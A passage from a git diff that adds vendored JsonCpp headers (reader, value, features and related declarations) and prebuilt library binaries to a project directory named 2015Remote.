PathArgument; +class Value; +class ValueIteratorBase; +class ValueIterator; +class ValueConstIterator; + +} // namespace Json + +#endif // JSON_FORWARDS_H_INCLUDED diff --git a/server/2015Remote/jsoncpp/json.h b/server/2015Remote/jsoncpp/json.h new file mode 100644 index 0000000..5c776a1 --- /dev/null +++ b/server/2015Remote/jsoncpp/json.h @@ -0,0 +1,15 @@ +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Distributed under MIT license, or public domain if desired and +// recognized in your jurisdiction. +// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE + +#ifndef JSON_JSON_H_INCLUDED +#define JSON_JSON_H_INCLUDED + +#include "config.h" +#include "json_features.h" +#include "reader.h" +#include "value.h" +#include "writer.h" + +#endif // JSON_JSON_H_INCLUDED diff --git a/server/2015Remote/jsoncpp/json_features.h b/server/2015Remote/jsoncpp/json_features.h new file mode 100644 index 0000000..e4a61d6 --- /dev/null +++ b/server/2015Remote/jsoncpp/json_features.h @@ -0,0 +1,62 @@ +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Distributed under MIT license, or public domain if desired and +// recognized in your jurisdiction. +// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE + +#ifndef JSON_FEATURES_H_INCLUDED +#define JSON_FEATURES_H_INCLUDED + +#if !defined(JSON_IS_AMALGAMATION) +#include "forwards.h" +#endif // if !defined(JSON_IS_AMALGAMATION) + +#pragma pack(push) +#pragma pack() + +namespace Json { + +/** \brief Configuration passed to reader and writer. + * This configuration object can be used to force the Reader or Writer + * to behave in a standard conforming way. + */ +class JSON_API Features { +public: + /** \brief A configuration that allows all features and assumes all strings + * are UTF-8. + * - C & C++ comments are allowed + * - Root object can be any JSON value + * - Assumes Value strings are encoded in UTF-8 + */ + static Features all(); + + /** \brief A configuration that is strictly compatible with the JSON + * specification. + * - Comments are forbidden. + * - Root object must be either an array or an object value. + * - Assumes Value strings are encoded in UTF-8 + */ + static Features strictMode(); + + /** \brief Initialize the configuration like JsonConfig::allFeatures; + */ + Features(); + + /// \c true if comments are allowed. Default: \c true. + bool allowComments_{true}; + + /// \c true if root must be either an array or an object value. Default: \c + /// false. + bool strictRoot_{false}; + + /// \c true if dropped null placeholders are allowed. Default: \c false. + bool allowDroppedNullPlaceholders_{false}; + + /// \c true if numeric object key are allowed. Default: \c false. + bool allowNumericKeys_{false}; +}; + +} // namespace Json + +#pragma pack(pop) + +#endif // JSON_FEATURES_H_INCLUDED diff --git a/server/2015Remote/jsoncpp/jsoncpp.lib b/server/2015Remote/jsoncpp/jsoncpp.lib new file mode 100644 index 0000000..83eb2b3 Binary files /dev/null and b/server/2015Remote/jsoncpp/jsoncpp.lib differ diff --git a/server/2015Remote/jsoncpp/jsoncpp_x64.lib b/server/2015Remote/jsoncpp/jsoncpp_x64.lib new file mode 100644 index 0000000..e92c7a8 Binary files /dev/null and b/server/2015Remote/jsoncpp/jsoncpp_x64.lib differ diff --git a/server/2015Remote/jsoncpp/jsoncpp_x64d.lib b/server/2015Remote/jsoncpp/jsoncpp_x64d.lib new file mode 100644 index 0000000..a19cd35 Binary files /dev/null and b/server/2015Remote/jsoncpp/jsoncpp_x64d.lib differ diff --git a/server/2015Remote/jsoncpp/jsoncppd.lib b/server/2015Remote/jsoncpp/jsoncppd.lib new file mode 100644 index 0000000..06cc6ff Binary files /dev/null and b/server/2015Remote/jsoncpp/jsoncppd.lib differ diff --git a/server/2015Remote/jsoncpp/reader.h b/server/2015Remote/jsoncpp/reader.h new file mode 100644 index 0000000..d745378 --- /dev/null +++ b/server/2015Remote/jsoncpp/reader.h @@ -0,0 +1,437 @@ +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Distributed under MIT license, or public domain if desired and +// recognized in your jurisdiction. +// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE + +#ifndef JSON_READER_H_INCLUDED +#define JSON_READER_H_INCLUDED + +#if !defined(JSON_IS_AMALGAMATION) +#include "json_features.h" +#include "value.h" +#endif // if !defined(JSON_IS_AMALGAMATION) +#include +#include +#include +#include +#include + +// Disable warning C4251: : needs to have dll-interface to +// be used by... +#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) +#pragma warning(push) +#pragma warning(disable : 4251) +#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) + +#pragma pack(push) +#pragma pack() + +namespace Json { + +/** \brief Unserialize a JSON document into a + * Value. + * + * \deprecated Use CharReader and CharReaderBuilder. + */ + +class JSON_API Reader { +public: + using Char = char; + using Location = const Char*; + + /** \brief An error tagged with where in the JSON text it was encountered. + * + * The offsets give the [start, limit) range of bytes within the text. Note + * that this is bytes, not codepoints. + */ + struct StructuredError { + ptrdiff_t offset_start; + ptrdiff_t offset_limit; + String message; + }; + + /** \brief Constructs a Reader allowing all features for parsing. + * \deprecated Use CharReader and CharReaderBuilder. + */ + Reader(); + + /** \brief Constructs a Reader allowing the specified feature set for parsing. + * \deprecated Use CharReader and CharReaderBuilder. + */ + Reader(const Features& features); + + /** \brief Read a Value from a JSON + * document. + * + * \param document UTF-8 encoded string containing the document + * to read. + * \param[out] root Contains the root value of the document if it + * was successfully parsed. + * \param collectComments \c true to collect comment and allow writing + * them back during serialization, \c false to + * discard comments. This parameter is ignored + * if Features::allowComments_ is \c false. + * \return \c true if the document was successfully parsed, \c false if an + * error occurred. + */ + bool parse(const std::string& document, Value& root, + bool collectComments = true); + + /** \brief Read a Value from a JSON + * document. + * + * \param beginDoc Pointer on the beginning of the UTF-8 encoded + * string of the document to read. + * \param endDoc Pointer on the end of the UTF-8 encoded string + * of the document to read. Must be >= beginDoc. + * \param[out] root Contains the root value of the document if it + * was successfully parsed. + * \param collectComments \c true to collect comment and allow writing + * them back during serialization, \c false to + * discard comments. This parameter is ignored + * if Features::allowComments_ is \c false. + * \return \c true if the document was successfully parsed, \c false if an + * error occurred. + */ + bool parse(const char* beginDoc, const char* endDoc, Value& root, + bool collectComments = true); + + /// \brief Parse from input stream. + /// \see Json::operator>>(std::istream&, Json::Value&). + bool parse(IStream& is, Value& root, bool collectComments = true); + + /** \brief Returns a user friendly string that list errors in the parsed + * document. + * + * \return Formatted error message with the list of errors with their + * location in the parsed document. An empty string is returned if no error + * occurred during parsing. + * \deprecated Use getFormattedErrorMessages() instead (typo fix). + */ + JSONCPP_DEPRECATED("Use getFormattedErrorMessages() instead.") + String getFormatedErrorMessages() const; + + /** \brief Returns a user friendly string that list errors in the parsed + * document. + * + * \return Formatted error message with the list of errors with their + * location in the parsed document. An empty string is returned if no error + * occurred during parsing. + */ + String getFormattedErrorMessages() const; + + /** \brief Returns a vector of structured errors encountered while parsing. + * + * \return A (possibly empty) vector of StructuredError objects. Currently + * only one error can be returned, but the caller should tolerate multiple + * errors. This can occur if the parser recovers from a non-fatal parse + * error and then encounters additional errors. + */ + std::vector getStructuredErrors() const; + + /** \brief Add a semantic error message. + * + * \param value JSON Value location associated with the error + * \param message The error message. + * \return \c true if the error was successfully added, \c false if the Value + * offset exceeds the document size. + */ + bool pushError(const Value& value, const String& message); + + /** \brief Add a semantic error message with extra context. + * + * \param value JSON Value location associated with the error + * \param message The error message. + * \param extra Additional JSON Value location to contextualize the error + * \return \c true if the error was successfully added, \c false if either + * Value offset exceeds the document size. + */ + bool pushError(const Value& value, const String& message, const Value& extra); + + /** \brief Return whether there are any errors. + * + * \return \c true if there are no errors to report \c false if errors have + * occurred. + */ + bool good() const; + +private: + enum TokenType { + tokenEndOfStream = 0, + tokenObjectBegin, + tokenObjectEnd, + tokenArrayBegin, + tokenArrayEnd, + tokenString, + tokenNumber, + tokenTrue, + tokenFalse, + tokenNull, + tokenArraySeparator, + tokenMemberSeparator, + tokenComment, + tokenError + }; + + class Token { + public: + TokenType type_; + Location start_; + Location end_; + }; + + class ErrorInfo { + public: + Token token_; + String message_; + Location extra_; + }; + + using Errors = std::deque; + + bool readToken(Token& token); + bool readTokenSkippingComments(Token& token); + void skipSpaces(); + bool match(const Char* pattern, int patternLength); + bool readComment(); + bool readCStyleComment(); + bool readCppStyleComment(); + bool readString(); + void readNumber(); + bool readValue(); + bool readObject(Token& token); + bool readArray(Token& token); + bool decodeNumber(Token& token); + bool decodeNumber(Token& token, Value& decoded); + bool decodeString(Token& token); + bool decodeString(Token& token, String& decoded); + bool decodeDouble(Token& token); + bool decodeDouble(Token& token, Value& decoded); + bool decodeUnicodeCodePoint(Token& token, Location& current, Location end, + unsigned int& unicode); + bool decodeUnicodeEscapeSequence(Token& token, Location& current, + Location end, unsigned int& unicode); + bool addError(const String& message, Token& token, Location extra = nullptr); + bool recoverFromError(TokenType skipUntilToken); + bool addErrorAndRecover(const String& message, Token& token, + TokenType skipUntilToken); + void skipUntilSpace(); + Value& currentValue(); + Char getNextChar(); + void getLocationLineAndColumn(Location location, int& line, + int& column) const; + String getLocationLineAndColumn(Location location) const; + void addComment(Location begin, Location end, CommentPlacement placement); + + static bool containsNewLine(Location begin, Location end); + static String normalizeEOL(Location begin, Location end); + + using Nodes = std::stack; + Nodes nodes_; + Errors errors_; + String document_; + Location begin_{}; + Location end_{}; + Location current_{}; + Location lastValueEnd_{}; + Value* lastValue_{}; + String commentsBefore_; + Features features_; + bool collectComments_{}; +}; // Reader + +/** Interface for reading JSON from a char array. + */ +class JSON_API CharReader { +public: + struct JSON_API StructuredError { + ptrdiff_t offset_start; + ptrdiff_t offset_limit; + String message; + }; + + virtual ~CharReader() = default; + /** \brief Read a Value from a JSON + * document. The document must be a UTF-8 encoded string containing the + * document to read. + * + * \param beginDoc Pointer on the beginning of the UTF-8 encoded string + * of the document to read. + * \param endDoc Pointer on the end of the UTF-8 encoded string of the + * document to read. Must be >= beginDoc. + * \param[out] root Contains the root value of the document if it was + * successfully parsed. + * \param[out] errs Formatted error messages (if not NULL) a user + * friendly string that lists errors in the parsed + * document. + * \return \c true if the document was successfully parsed, \c false if an + * error occurred. + */ + virtual bool parse(char const* beginDoc, char const* endDoc, Value* root, + String* errs); + + /** \brief Returns a vector of structured errors encountered while parsing. + * Each parse call resets the stored list of errors. + */ + std::vector getStructuredErrors() const; + + class JSON_API Factory { + public: + virtual ~Factory() = default; + /** \brief Allocate a CharReader via operator new(). + * \throw std::exception if something goes wrong (e.g. invalid settings) + */ + virtual CharReader* newCharReader() const = 0; + }; // Factory + +protected: + class Impl { + public: + virtual ~Impl() = default; + virtual bool parse(char const* beginDoc, char const* endDoc, Value* root, + String* errs) = 0; + virtual std::vector getStructuredErrors() const = 0; + }; + + explicit CharReader(std::unique_ptr impl) : _impl(std::move(impl)) {} + +private: + std::unique_ptr _impl; +}; // CharReader + +/** \brief Build a CharReader implementation. + * + * Usage: + * \code + * using namespace Json; + * CharReaderBuilder builder; + * builder["collectComments"] = false; + * Value value; + * String errs; + * bool ok = parseFromStream(builder, std::cin, &value, &errs); + * \endcode + */ +class JSON_API CharReaderBuilder : public CharReader::Factory { +public: + // Note: We use a Json::Value so that we can add data-members to this class + // without a major version bump. + /** Configuration of this builder. + * These are case-sensitive. + * Available settings (case-sensitive): + * - `"collectComments": false or true` + * - true to collect comment and allow writing them back during + * serialization, false to discard comments. This parameter is ignored + * if allowComments is false. + * - `"allowComments": false or true` + * - true if comments are allowed. + * - `"allowTrailingCommas": false or true` + * - true if trailing commas in objects and arrays are allowed. + * - `"strictRoot": false or true` + * - true if root must be either an array or an object value + * - `"allowDroppedNullPlaceholders": false or true` + * - true if dropped null placeholders are allowed. (See + * StreamWriterBuilder.) + * - `"allowNumericKeys": false or true` + * - true if numeric object keys are allowed. + * - `"allowSingleQuotes": false or true` + * - true if '' are allowed for strings (both keys and values) + * - `"stackLimit": integer` + * - Exceeding stackLimit (recursive depth of `readValue()`) will cause an + * exception. + * - This is a security issue (seg-faults caused by deeply nested JSON), so + * the default is low. + * - `"failIfExtra": false or true` + * - If true, `parse()` returns false when extra non-whitespace trails the + * JSON value in the input string. + * - `"rejectDupKeys": false or true` + * - If true, `parse()` returns false when a key is duplicated within an + * object. + * - `"allowSpecialFloats": false or true` + * - If true, special float values (NaNs and infinities) are allowed and + * their values are lossfree restorable. + * - `"skipBom": false or true` + * - If true, if the input starts with the Unicode byte order mark (BOM), + * it is skipped. + * + * You can examine 'settings_` yourself to see the defaults. You can also + * write and read them just like any JSON Value. + * \sa setDefaults() + */ + Json::Value settings_; + + CharReaderBuilder(); + ~CharReaderBuilder() override; + + CharReader* newCharReader() const override; + + /** \return true if 'settings' are legal and consistent; + * otherwise, indicate bad settings via 'invalid'. + */ + bool validate(Json::Value* invalid) const; + + /** A simple way to update a specific setting. + */ + Value& operator[](const String& key); + + /** Called by ctor, but you can use this to reset settings_. + * \pre 'settings' != NULL (but Json::null is fine) + * \remark Defaults: + * \snippet src/lib_json/json_reader.cpp CharReaderBuilderDefaults + */ + static void setDefaults(Json::Value* settings); + /** Same as old Features::strictMode(). + * \pre 'settings' != NULL (but Json::null is fine) + * \remark Defaults: + * \snippet src/lib_json/json_reader.cpp CharReaderBuilderStrictMode + */ + static void strictMode(Json::Value* settings); + /** ECMA-404 mode. + * \pre 'settings' != NULL (but Json::null is fine) + * \remark Defaults: + * \snippet src/lib_json/json_reader.cpp CharReaderBuilderECMA404Mode + */ + static void ecma404Mode(Json::Value* settings); +}; + +/** Consume entire stream and use its begin/end. + * Someday we might have a real StreamReader, but for now this + * is convenient. + */ +bool JSON_API parseFromStream(CharReader::Factory const&, IStream&, Value* root, + String* errs); + +/** \brief Read from 'sin' into 'root'. + * + * Always keep comments from the input JSON. + * + * This can be used to read a file into a particular sub-object. + * For example: + * \code + * Json::Value root; + * cin >> root["dir"]["file"]; + * cout << root; + * \endcode + * Result: + * \verbatim + * { + * "dir": { + * "file": { + * // The input stream JSON would be nested here. + * } + * } + * } + * \endverbatim + * \throw std::exception on parse error. + * \see Json::operator<<() + */ +JSON_API IStream& operator>>(IStream&, Value&); + +} // namespace Json + +#pragma pack(pop) + +#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) +#pragma warning(pop) +#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) + +#endif // JSON_READER_H_INCLUDED diff --git a/server/2015Remote/jsoncpp/value.h b/server/2015Remote/jsoncpp/value.h new file mode 100644 index 0000000..c8e1aae --- /dev/null +++ b/server/2015Remote/jsoncpp/value.h @@ -0,0 +1,967 @@ +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Distributed under MIT license, or public domain if desired and +// recognized in your jurisdiction. +// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE + +#ifndef JSON_VALUE_H_INCLUDED +#define JSON_VALUE_H_INCLUDED + +#if !defined(JSON_IS_AMALGAMATION) +#include "forwards.h" +#endif // if !defined(JSON_IS_AMALGAMATION) + +// Conditional NORETURN attribute on the throw functions would: +// a) suppress false positives from static code analysis +// b) possibly improve optimization opportunities. +#if !defined(JSONCPP_NORETURN) +#if defined(_MSC_VER) && _MSC_VER == 1800 +#define JSONCPP_NORETURN __declspec(noreturn) +#else +#define JSONCPP_NORETURN [[noreturn]] +#endif +#endif + +// Support for '= delete' with template declarations was a late addition +// to the c++11 standard and is rejected by clang 3.8 and Apple clang 8.2 +// even though these declare themselves to be c++11 compilers. +#if !defined(JSONCPP_TEMPLATE_DELETE) +#if defined(__clang__) && defined(__apple_build_version__) +#if __apple_build_version__ <= 8000042 +#define JSONCPP_TEMPLATE_DELETE +#endif +#elif defined(__clang__) +#if __clang_major__ == 3 && __clang_minor__ <= 8 +#define JSONCPP_TEMPLATE_DELETE +#endif +#endif +#if !defined(JSONCPP_TEMPLATE_DELETE) +#define JSONCPP_TEMPLATE_DELETE = delete +#endif +#endif + +#include +#include +#include +#include +#include +#include + +// Disable warning C4251: : needs to have dll-interface to +// be used by... +#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) +#pragma warning(push) +#pragma warning(disable : 4251 4275) +#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) + +#pragma pack(push) +#pragma pack() + +/** \brief JSON (JavaScript Object Notation). + */ +namespace Json { + +#if JSON_USE_EXCEPTION +/** Base class for all exceptions we throw. + * + * We use nothing but these internally. Of course, STL can throw others. + */ +class JSON_API Exception : public std::exception { +public: + Exception(String msg); + ~Exception() noexcept override; + char const* what() const noexcept override; + +protected: + String msg_; +}; + +/** Exceptions which the user cannot easily avoid. + * + * E.g. out-of-memory (when we use malloc), stack-overflow, malicious input + * + * \remark derived from Json::Exception + */ +class JSON_API RuntimeError : public Exception { +public: + RuntimeError(String const& msg); +}; + +/** Exceptions thrown by JSON_ASSERT/JSON_FAIL macros. + * + * These are precondition-violations (user bugs) and internal errors (our bugs). + * + * \remark derived from Json::Exception + */ +class JSON_API LogicError : public Exception { +public: + LogicError(String const& msg); +}; +#endif + +/// used internally +JSONCPP_NORETURN void throwRuntimeError(String const& msg); +/// used internally +JSONCPP_NORETURN void throwLogicError(String const& msg); + +/** \brief Type of the value held by a Value object. + */ +enum ValueType { + nullValue = 0, ///< 'null' value + intValue, ///< signed integer value + uintValue, ///< unsigned integer value + realValue, ///< double value + stringValue, ///< UTF-8 string value + booleanValue, ///< bool value + arrayValue, ///< array value (ordered list) + objectValue ///< object value (collection of name/value pairs). +}; + +enum CommentPlacement { + commentBefore = 0, ///< a comment placed on the line before a value + commentAfterOnSameLine, ///< a comment just after a value on the same line + commentAfter, ///< a comment on the line after a value (only make sense for + /// root value) + numberOfCommentPlacement +}; + +/** \brief Type of precision for formatting of real values. + */ +enum PrecisionType { + significantDigits = 0, ///< we set max number of significant digits in string + decimalPlaces ///< we set max number of digits after "." in string +}; + +/** \brief Lightweight wrapper to tag static string. + * + * Value constructor and objectValue member assignment takes advantage of the + * StaticString and avoid the cost of string duplication when storing the + * string or the member name. + * + * Example of usage: + * \code + * Json::Value aValue( StaticString("some text") ); + * Json::Value object; + * static const StaticString code("code"); + * object[code] = 1234; + * \endcode + */ +class JSON_API StaticString { +public: + explicit StaticString(const char* czstring) : c_str_(czstring) {} + + operator const char*() const { return c_str_; } + + const char* c_str() const { return c_str_; } + +private: + const char* c_str_; +}; + +/** \brief Represents a JSON value. + * + * This class is a discriminated union wrapper that can represents a: + * - signed integer [range: Value::minInt - Value::maxInt] + * - unsigned integer (range: 0 - Value::maxUInt) + * - double + * - UTF-8 string + * - boolean + * - 'null' + * - an ordered list of Value + * - collection of name/value pairs (javascript object) + * + * The type of the held value is represented by a #ValueType and + * can be obtained using type(). + * + * Values of an #objectValue or #arrayValue can be accessed using operator[]() + * methods. + * Non-const methods will automatically create the a #nullValue element + * if it does not exist. + * The sequence of an #arrayValue will be automatically resized and initialized + * with #nullValue. resize() can be used to enlarge or truncate an #arrayValue. + * + * The get() methods can be used to obtain default value in the case the + * required element does not exist. + * + * It is possible to iterate over the list of member keys of an object using + * the getMemberNames() method. + * + * \note #Value string-length fit in size_t, but keys must be < 2^30. + * (The reason is an implementation detail.) A #CharReader will raise an + * exception if a bound is exceeded to avoid security holes in your app, + * but the Value API does *not* check bounds. That is the responsibility + * of the caller. + */ +class JSON_API Value { + friend class ValueIteratorBase; + +public: + using Members = std::vector; + using iterator = ValueIterator; + using const_iterator = ValueConstIterator; + using UInt = Json::UInt; + using Int = Json::Int; +#if defined(JSON_HAS_INT64) + using UInt64 = Json::UInt64; + using Int64 = Json::Int64; +#endif // defined(JSON_HAS_INT64) + using LargestInt = Json::LargestInt; + using LargestUInt = Json::LargestUInt; + using ArrayIndex = Json::ArrayIndex; + + // Required for boost integration, e. g. BOOST_TEST + using value_type = std::string; + +#if JSON_USE_NULLREF + // Binary compatibility kludges, do not use. + static const Value& null; + static const Value& nullRef; +#endif + + // null and nullRef are deprecated, use this instead. + static Value const& nullSingleton(); + + /// Minimum signed integer value that can be stored in a Json::Value. + static constexpr LargestInt minLargestInt = + LargestInt(~(LargestUInt(-1) / 2)); + /// Maximum signed integer value that can be stored in a Json::Value. + static constexpr LargestInt maxLargestInt = LargestInt(LargestUInt(-1) / 2); + /// Maximum unsigned integer value that can be stored in a Json::Value. + static constexpr LargestUInt maxLargestUInt = LargestUInt(-1); + + /// Minimum signed int value that can be stored in a Json::Value. + static constexpr Int minInt = Int(~(UInt(-1) / 2)); + /// Maximum signed int value that can be stored in a Json::Value. + static constexpr Int maxInt = Int(UInt(-1) / 2); + /// Maximum unsigned int value that can be stored in a Json::Value. + static constexpr UInt maxUInt = UInt(-1); + +#if defined(JSON_HAS_INT64) + /// Minimum signed 64 bits int value that can be stored in a Json::Value. + static constexpr Int64 minInt64 = Int64(~(UInt64(-1) / 2)); + /// Maximum signed 64 bits int value that can be stored in a Json::Value. + static constexpr Int64 maxInt64 = Int64(UInt64(-1) / 2); + /// Maximum unsigned 64 bits int value that can be stored in a Json::Value. + static constexpr UInt64 maxUInt64 = UInt64(-1); +#endif // defined(JSON_HAS_INT64) + /// Default precision for real value for string representation. + static constexpr UInt defaultRealPrecision = 17; + // The constant is hard-coded because some compiler have trouble + // converting Value::maxUInt64 to a double correctly (AIX/xlC). + // Assumes that UInt64 is a 64 bits integer. + static constexpr double maxUInt64AsDouble = 18446744073709551615.0; +// Workaround for bug in the NVIDIAs CUDA 9.1 nvcc compiler +// when using gcc and clang backend compilers. CZString +// cannot be defined as private. See issue #486 +#ifdef __NVCC__ +public: +#else +private: +#endif +#ifndef JSONCPP_DOC_EXCLUDE_IMPLEMENTATION + class CZString { + public: + enum DuplicationPolicy { noDuplication = 0, duplicate, duplicateOnCopy }; + CZString(ArrayIndex index); + CZString(char const* str, unsigned length, DuplicationPolicy allocate); + CZString(CZString const& other); + CZString(CZString&& other) noexcept; + ~CZString(); + CZString& operator=(const CZString& other); + CZString& operator=(CZString&& other) noexcept; + + bool operator<(CZString const& other) const; + bool operator==(CZString const& other) const; + ArrayIndex index() const; + // const char* c_str() const; ///< \deprecated + char const* data() const; + unsigned length() const; + bool isStaticString() const; + + private: + void swap(CZString& other); + + struct StringStorage { + unsigned policy_ : 2; + unsigned length_ : 30; // 1GB max + }; + + char const* cstr_; // actually, a prefixed string, unless policy is noDup + union { + ArrayIndex index_; + StringStorage storage_; + }; + }; + +public: + typedef std::map ObjectValues; +#endif // ifndef JSONCPP_DOC_EXCLUDE_IMPLEMENTATION + +public: + /** + * \brief Create a default Value of the given type. + * + * This is a very useful constructor. + * To create an empty array, pass arrayValue. + * To create an empty object, pass objectValue. + * Another Value can then be set to this one by assignment. + * This is useful since clear() and resize() will not alter types. + * + * Examples: + * \code + * Json::Value null_value; // null + * Json::Value arr_value(Json::arrayValue); // [] + * Json::Value obj_value(Json::objectValue); // {} + * \endcode + */ + Value(ValueType type = nullValue); + Value(Int value); + Value(UInt value); +#if defined(JSON_HAS_INT64) + Value(Int64 value); + Value(UInt64 value); +#endif // if defined(JSON_HAS_INT64) + Value(double value); + Value(const char* value); ///< Copy til first 0. (NULL causes to seg-fault.) + Value(const char* begin, const char* end); ///< Copy all, incl zeroes. + /** + * \brief Constructs a value from a static string. + * + * Like other value string constructor but do not duplicate the string for + * internal storage. The given string must remain alive after the call to + * this constructor. + * + * \note This works only for null-terminated strings. (We cannot change the + * size of this class, so we have nowhere to store the length, which might be + * computed later for various operations.) + * + * Example of usage: + * \code + * static StaticString foo("some text"); + * Json::Value aValue(foo); + * \endcode + */ + Value(const StaticString& value); + Value(const String& value); + Value(bool value); + Value(std::nullptr_t ptr) = delete; + Value(const Value& other); + Value(Value&& other) noexcept; + ~Value(); + + /// \note Overwrite existing comments. To preserve comments, use + /// #swapPayload(). + Value& operator=(const Value& other); + Value& operator=(Value&& other) noexcept; + + /// Swap everything. + void swap(Value& other); + /// Swap values but leave comments and source offsets in place. + void swapPayload(Value& other); + + /// copy everything. + void copy(const Value& other); + /// copy values but leave comments and source offsets in place. + void copyPayload(const Value& other); + + ValueType type() const; + + /// Compare payload only, not comments etc. + bool operator<(const Value& other) const; + bool operator<=(const Value& other) const; + bool operator>=(const Value& other) const; + bool operator>(const Value& other) const; + bool operator==(const Value& other) const; + bool operator!=(const Value& other) const; + int compare(const Value& other) const; + + const char* asCString() const; ///< Embedded zeroes could cause you trouble! +#if JSONCPP_USING_SECURE_MEMORY + unsigned getCStringLength() const; // Allows you to understand the length of + // the CString +#endif + String asString() const; ///< Embedded zeroes are possible. + /** Get raw char* of string-value. + * \return false if !string. (Seg-fault if str or end are NULL.) + */ + bool getString(char const** begin, char const** end) const; + Int asInt() const; + UInt asUInt() const; +#if defined(JSON_HAS_INT64) + Int64 asInt64() const; + UInt64 asUInt64() const; +#endif // if defined(JSON_HAS_INT64) + LargestInt asLargestInt() const; + LargestUInt asLargestUInt() const; + float asFloat() const; + double asDouble() const; + bool asBool() const; + + bool isNull() const; + bool isBool() const; + bool isInt() const; + bool isInt64() const; + bool isUInt() const; + bool isUInt64() const; + bool isIntegral() const; + bool isDouble() const; + bool isNumeric() const; + bool isString() const; + bool isArray() const; + bool isObject() const; + + /// The `as` and `is` member function templates and specializations. + template T as() const JSONCPP_TEMPLATE_DELETE; + template bool is() const JSONCPP_TEMPLATE_DELETE; + + bool isConvertibleTo(ValueType other) const; + + /// Number of values in array or object + ArrayIndex size() const; + + /// \brief Return true if empty array, empty object, or null; + /// otherwise, false. + bool empty() const; + + /// Return !isNull() + explicit operator bool() const; + + /// Remove all object members and array elements. + /// \pre type() is arrayValue, objectValue, or nullValue + /// \post type() is unchanged + void clear(); + + /// Resize the array to newSize elements. + /// New elements are initialized to null. + /// May only be called on nullValue or arrayValue. + /// \pre type() is arrayValue or nullValue + /// \post type() is arrayValue + void resize(ArrayIndex newSize); + + ///@{ + /// Access an array element (zero based index). If the array contains less + /// than index element, then null value are inserted in the array so that + /// its size is index+1. + /// (You may need to say 'value[0u]' to get your compiler to distinguish + /// this from the operator[] which takes a string.) + Value& operator[](ArrayIndex index); + Value& operator[](int index); + ///@} + + ///@{ + /// Access an array element (zero based index). + /// (You may need to say 'value[0u]' to get your compiler to distinguish + /// this from the operator[] which takes a string.) + const Value& operator[](ArrayIndex index) const; + const Value& operator[](int index) const; + ///@} + + /// If the array contains at least index+1 elements, returns the element + /// value, otherwise returns defaultValue. + Value get(ArrayIndex index, const Value& defaultValue) const; + /// Return true if index < size(). + bool isValidIndex(ArrayIndex index) const; + /// \brief Append value to array at the end. + /// + /// Equivalent to jsonvalue[jsonvalue.size()] = value; + Value& append(const Value& value); + Value& append(Value&& value); + + /// \brief Insert value in array at specific index + bool insert(ArrayIndex index, const Value& newValue); + bool insert(ArrayIndex index, Value&& newValue); + + /// Access an object value by name, create a null member if it does not exist. + /// \note Because of our implementation, keys are limited to 2^30 -1 chars. + /// Exceeding that will cause an exception. + Value& operator[](const char* key); + /// Access an object value by name, returns null if there is no member with + /// that name. + const Value& operator[](const char* key) const; + /// Access an object value by name, create a null member if it does not exist. + /// \param key may contain embedded nulls. + Value& operator[](const String& key); + /// Access an object value by name, returns null if there is no member with + /// that name. + /// \param key may contain embedded nulls. + const Value& operator[](const String& key) const; + /** \brief Access an object value by name, create a null member if it does not + * exist. + * + * If the object has no entry for that name, then the member name used to + * store the new entry is not duplicated. + * Example of use: + * \code + * Json::Value object; + * static const StaticString code("code"); + * object[code] = 1234; + * \endcode + */ + Value& operator[](const StaticString& key); + /// Return the member named key if it exist, defaultValue otherwise. + /// \note deep copy + Value get(const char* key, const Value& defaultValue) const; + /// Return the member named key if it exist, defaultValue otherwise. + /// \note deep copy + /// \note key may contain embedded nulls. + Value get(const char* begin, const char* end, + const Value& defaultValue) const; + /// Return the member named key if it exist, defaultValue otherwise. + /// \note deep copy + /// \param key may contain embedded nulls. + Value get(const String& key, const Value& defaultValue) const; + /// Most general and efficient version of isMember()const, get()const, + /// and operator[]const + /// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30 + Value const* find(char const* begin, char const* end) const; + /// Most general and efficient version of isMember()const, get()const, + /// and operator[]const + Value const* find(const String& key) const; + /// Most general and efficient version of object-mutators. + /// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30 + /// \return non-zero, but JSON_ASSERT if this is neither object nor nullValue. + Value* demand(char const* begin, char const* end); + /// \brief Remove and return the named member. + /// + /// Do nothing if it did not exist. + /// \pre type() is objectValue or nullValue + /// \post type() is unchanged + void removeMember(const char* key); + /// Same as removeMember(const char*) + /// \param key may contain embedded nulls. + void removeMember(const String& key); + /// Same as removeMember(const char* begin, const char* end, Value* removed), + /// but 'key' is null-terminated. + bool removeMember(const char* key, Value* removed); + /** \brief Remove the named map member. + * + * Update 'removed' iff removed. + * \param key may contain embedded nulls. + * \return true iff removed (no exceptions) + */ + bool removeMember(String const& key, Value* removed); + /// Same as removeMember(String const& key, Value* removed) + bool removeMember(const char* begin, const char* end, Value* removed); + /** \brief Remove the indexed array element. + * + * O(n) expensive operations. + * Update 'removed' iff removed. + * \return true if removed (no exceptions) + */ + bool removeIndex(ArrayIndex index, Value* removed); + + /// Return true if the object has a member named key. + /// \note 'key' must be null-terminated. + bool isMember(const char* key) const; + /// Return true if the object has a member named key. + /// \param key may contain embedded nulls. + bool isMember(const String& key) const; + /// Same as isMember(String const& key)const + bool isMember(const char* begin, const char* end) const; + + /// \brief Return a list of the member names. + /// + /// If null, return an empty list. + /// \pre type() is objectValue or nullValue + /// \post if type() was nullValue, it remains nullValue + Members getMemberNames() const; + + /// \deprecated Always pass len. + JSONCPP_DEPRECATED("Use setComment(String const&) instead.") + void setComment(const char* comment, CommentPlacement placement) { + setComment(String(comment, strlen(comment)), placement); + } + /// Comments must be //... or /* ... */ + void setComment(const char* comment, size_t len, CommentPlacement placement) { + setComment(String(comment, len), placement); + } + /// Comments must be //... or /* ... */ + void 